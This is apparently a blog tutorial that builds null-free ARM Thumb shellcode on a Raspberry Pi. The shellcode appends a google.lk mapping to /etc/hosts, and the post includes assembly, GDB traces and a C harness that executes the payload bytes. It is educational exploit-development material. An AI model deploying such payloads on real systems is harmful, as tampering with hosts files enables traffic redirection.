Running Shellcode in your Raspberry Pi

I was interested in learning ARM assembly language for developing small applications for microcontrollers. I wrote this small piece of shellcode which will write “127.0.0.1 google.lk” inside the /etc/hosts file in a Linux system. I used my Raspberry Pi model B+ for this 🙂
Image result for raspberry pi b+
We will be needing the following syscalls.

[code language=”c”]
#define __NR_exit (__NR_SYSCALL_BASE+ 1)
#define __NR_write (__NR_SYSCALL_BASE+ 4)
#define __NR_open (__NR_SYSCALL_BASE+ 5)
#define __NR_close (__NR_SYSCALL_BASE+ 6)
[/code]


In shellcoding we do not want any null characters and we want to make the code optimized. The smaller the shellcode the better in exploit development.
Since 32 bit addressing can cause null bytes let’s use the Thumb mode in ARM. This will give us 16-bit addressing which means 16-bit opcodes.

[code language=”c”]
.code 32
# Thumb-Mode on
add r6, pc, #1
bx r6
[/code]
First we need to open the file and get a valid file descriptor and pass it to write syscall to write the data.
This is prototype for open.

[code language=”c”]
#include
#include
#include

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
[/code]
This is how we should exactly place the arguments in assembly.

r0 => "/etc/hosts"
r1 => $0x401
r2 => 0
r7 => 5

[code language=”c”]
# _open()
sub r4, r4, r4
mov r2, r4

mov r1, $0xff
add r1, $0xff
add r1, $0xff
add r1, $0xff
add r1, $0x5
mov r0, pc
add r0, #12

mov r7, $0x5
svc 1
[/code]

For writing data this the function prototype.

[code language=”c”]
#include

ssize_t write(int fd, const void *buf, size_t count);
[/code]
Assembly syntax.

r0 => (file descriptor from open())
r1 => 127.1.1.1 google.lk\n
r2 => 20
r7 => 4

[code language=”c”]
# _write()
mov r2, #11
mov r1, pc
add r1, #20
mov r7, $0x4
svc 1
[/code]

Now let’s put them altogether and write our assembly program. I won’t be using the close() syscall, this will increase the size.

[code language=”c”]
@ Title: Add map in /etc/hosts file – 79 bytes
@ Date: 2015-03-02
@ Architecture: armv6l GNU/Linux
@ Website: http://osandamalith.wordpress.com
@ E-Mail: osanda[cat]unseen.is
@ Author: Osanda Malith Jayathissa (@OsandaMalith)

.section .text

.global _start

_start:
.code 32

# Thumb-Mode on
add r6, pc, #1 @sasa
bx r6
.code 16
# _open()
sub r4, r4, r4
mov r2, r4

mov r1, $0xff
add r1, $0xff
add r1, $0xff
add r1, $0xff
add r1, $0x5
mov r0, pc
add r0, #42

mov r7, $0x5
svc 1

# _write()
mov r2, #20
mov r1, pc
add r1, #12
mov r7, $0x4
svc 1

# _exit()
sub r4, r4, r4
mov r0, r4
mov r7, $0x1
svc 1

.ascii "127.1.1.1 google.lk\n"

.word 0x6374652f
.word 0x6f682f2f
.short 0x7473
.byte 0x73

[/code]
After assembling and linking if we check the disassembly no null bytes to be found 🙂

hosts:     file format elf32-littlearm


Disassembly of section .text:

00008054 :
    8054:       e28f6001        add     r6, pc, #1
    8058:       e12fff16        bx      r6
    805c:       1b24            subs    r4, r4, r4
    805e:       1c22            adds    r2, r4, #0
    8060:       21ff            movs    r1, #255        ; 0xff
    8062:       31ff            adds    r1, #255        ; 0xff
    8064:       31ff            adds    r1, #255        ; 0xff
    8066:       31ff            adds    r1, #255        ; 0xff
    8068:       3105            adds    r1, #5
    806a:       4678            mov     r0, pc
    806c:       302a            adds    r0, #42 ; 0x2a
    806e:       2705            movs    r7, #5
    8070:       df01            svc     1
    8072:       2214            movs    r2, #20
    8074:       4679            mov     r1, pc
    8076:       310c            adds    r1, #12
    8078:       2704            movs    r7, #4
    807a:       df01            svc     1
    807c:       1b24            subs    r4, r4, r4
    807e:       1c20            adds    r0, r4, #0
    8080:       2701            movs    r7, #1
    8082:       df01            svc     1
    8084:       2e373231        mrccs   2, 1, r3, cr7, cr1, {1}
    8088:       2e312e31        mrccs   14, 1, r2, cr1, cr1, {1}
    808c:       6f672031        svcvs   0x00672031
    8090:       656c676f        strbvs  r6, [ip, #-1903]!       ; 0x76f
    8094:       0a6b6c2e        beq     1ae3154 
    8098:       6374652f        cmnvs   r4, #197132288  ; 0xbc00000
    809c:       6f682f2f        svcvs   0x00682f2f
    80a0:       00737473        rsbseq  r7, r3, r3, ror r4

Let’s analyze this in GDB to make sure everything works well as we planned.

root@raspberrypi:/home/pi/shellcode/hosts# gdb -q ./open
Reading symbols from /home/pi/shellcode/hosts/open...(no debugging symbols found)...done.
gdb$ disassemble _start
Dump of assembler code for function _start:
   0x00008054 :     add     r6, pc, #1
   0x00008058 :     bx      r6
   0x0000805c :     subs    r4, r4, r4
   0x0000805e :    adds    r2, r4, #0
   0x00008060 :    movs    r1, #255        ; 0xff
   0x00008062 :    adds    r1, #255        ; 0xff
   0x00008064 :    adds    r1, #255        ; 0xff
   0x00008066 :    adds    r1, #255        ; 0xff
   0x00008068 :    adds    r1, #5
   0x0000806a :    mov     r0, pc
   0x0000806c :    adds    r0, #42 ; 0x2a
   0x0000806e :    movs    r7, #5
   0x00008070 :    svc     1
   0x00008072 :    movs    r2, #20
   0x00008074 :    mov     r1, pc
   0x00008076 :    adds    r1, #12
   0x00008078 :    movs    r7, #4
   0x0000807a :    svc     1
   0x0000807c :    subs    r4, r4, r4
   0x0000807e :    adds    r0, r4, #0
   0x00008080 :    movs    r7, #1
   0x00008082 :    svc     1
   0x00008084 :    mrccs   2, 1, r3, cr7, cr1, {1}
   0x00008088 :    mrccs   14, 1, r2, cr1, cr1, {1}
   0x0000808c :    svcvs   0x00672031
   0x00008090 :    strbvs  r6, [r12, #-1903]!      ; 0x76f
   0x00008094 :    beq     0x1ae3154
   0x00008098 :    cmnvs   r4, #197132288  ; 0xbc00000
   0x0000809c :    svcvs   0x00682f2f
   0x000080a0 :    rsbseq  r7, r3, r3, ror r4
End of assembler dump.
gdb$ b *0x00008070
Breakpoint 1 at 0x8070
gdb$ run
Error while running hook_stop:
No symbol table is loaded.  Use the "file" command.

Breakpoint 1, 0x00008070 in _start ()
gdb$ i r
r0             0x8098   0x8098
r1             0x401    0x401
r2             0x0      0x0
r3             0x0      0x0
r4             0x0      0x0
r5             0x0      0x0
r6             0x805d   0x805d
r7             0x5      0x5
r8             0x0      0x0
r9             0x0      0x0
r10            0x0      0x0
r11            0x0      0x0
r12            0x0      0x0
sp             0xbefff840       0xbefff840
lr             0x0      0x0
pc             0x8070   0x8070 
cpsr           0x30     0x30
gdb$ x/s 0x8098
0x8098 :      "/etc//hosts"
gdb$

r0 points to our string “/etc/hosts” and flags are set to 0x401. Let’s nexti.

gdb$ nexti
Error while running hook_stop:
No symbol table is loaded.  Use the "file" command.
0x00008072 in _start ()
gdb$ i r
r0             0x7      0x7
r1             0x401    0x401
r2             0x0      0x0
r3             0x0      0x0
r4             0x0      0x0
r5             0x0      0x0
r6             0x805d   0x805d
r7             0x5      0x5
r8             0x0      0x0
r9             0x0      0x0
r10            0x0      0x0
r11            0x0      0x0
r12            0x0      0x0
sp             0xbefff840       0xbefff840
lr             0x0      0x0
pc             0x8072   0x8072 
cpsr           0x30     0x30

r0 contains the return value which is not an error. So now that the opening part is done next let’s check the writing part.

gdb$ b *0x0000807a
Breakpoint 2 at 0x807a
gdb$ c
Error while running hook_stop:
No symbol table is loaded.  Use the "file" command.

Breakpoint 2, 0x0000807a in _start ()
gdb$ i r
r0             0x7      0x7
r1             0x8084   0x8084
r2             0x14     0x14
r3             0x0      0x0
r4             0x0      0x0
r5             0x0      0x0
r6             0x805d   0x805d
r7             0x4      0x4
r8             0x0      0x0
r9             0x0      0x0
r10            0x0      0x0
r11            0x0      0x0
r12            0x0      0x0
sp             0xbefff840       0xbefff840
lr             0x0      0x0
pc             0x807a   0x807a 
cpsr           0x30     0x30

gdb$ x/s 0x8084
0x8084 :      "127.1.1.1 google.lk\n/etc//hosts"

Notice that we are writing only 20 characters from the string. That is why we specify 0x14 into r2.
Everything seemed to work well 🙂 This is the final shellcode 🙂

[code language=”c”]
#include <stdio.h>
#include <string.h>

char *shellcode = "\x01\x60\x8f\xe2"
"\x16\xff\x2f\xe1"
"\x24\x1b"
"\x22\x1c"
"\xff\x21"
"\xff\x31"
"\xff\x31"
"\xff\x31"
"\x05\x31"
"\x78\x46"
"\x2a\x30"
"\x05\x27"
"\x01\xdf"
"\x14\x22" // movs r2, $0x14 ; length
"\x79\x46"
"\x0c\x31"
"\x04\x27"
"\x01\xdf"
"\x24\x1b"
"\x20\x1c"
"\x01\x27"
"\x01\xdf"
"\x31\x32\x37\x2e" // 127.
"\x31\x2e\x31\x2e" // 1.1.
"\x31\x20\x67\x6f" // 1 go
"\x6f\x67\x6c\x65" // ogle
"\x2e\x6c\x6b\x0a" // .lk
"\x2f\x65\x74\x63"
"\x2f\x2f\x68\x6f"
"\x73\x74\x73";

int main(void) {
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
[/code]

http://packetstormsecurity.com/files/130610/79-Bytes-Add-Mapping-etc-hosts.html

3 thoughts on “Running Shellcode in your Raspberry Pi

  1. Nice work, thanks for sharing! One question though: where do you get the songs ? They remind me of my youth 🙂

Leave a Reply